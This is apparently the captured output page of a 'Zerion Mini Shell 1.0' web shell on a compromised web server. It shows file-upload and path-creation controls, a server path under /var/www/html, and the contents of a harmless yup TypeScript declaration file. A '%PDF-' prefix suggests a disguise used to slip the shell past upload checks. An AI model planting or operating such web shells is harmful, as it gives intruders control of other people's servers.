%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/var/www/html/node_modules/yup/es/
Upload File :
Create Path :
Current File : //proc/self/root/var/www/html/node_modules/yup/es/mixed.d.ts

import type { MixedLocale } from './locale';
import { AnyObject, Maybe, Optionals } from './types';
import type { Defined } from './util/types';
import BaseSchema from './schema';
export declare class MixedSchema<TType = any, TContext = AnyObject, TOut = TType> extends BaseSchema<TType, TContext, TOut> {
    default<TNextDefault extends Maybe<TType>>(def: TNextDefault | (() => TNextDefault)): TNextDefault extends undefined ? MixedSchema<TType | undefined, TContext> : MixedSchema<Defined<TType>, TContext>;
    concat(schema: this): this;
    concat<IT, IC, IO>(schema: BaseSchema<IT, IC, IO>): MixedSchema<TType | IT, TContext & IC, NonNullable<TOut> | IO | Optionals<IO>>;
    defined(msg?: MixedLocale['defined']): MixedSchema<TType, TContext, Defined<TOut>>;
    required(msg?: MixedLocale['required']): MixedSchema<TType, TContext, NonNullable<TOut>>;
    notRequired(): MixedSchema<TType, TContext>;
    nullable(isNullable?: true): MixedSchema<TType | null, TContext>;
    nullable(isNullable: false): MixedSchema<Exclude<TType, null>, TContext>;
}
declare const Mixed: typeof MixedSchema;
export default Mixed;
export declare function create<TType = any>(): MixedSchema<TType | undefined, AnyObject, TType | undefined>;
export declare namespace create {
    var prototype: MixedSchema<any, any, any>;
}

Zerion Mini Shell 1.0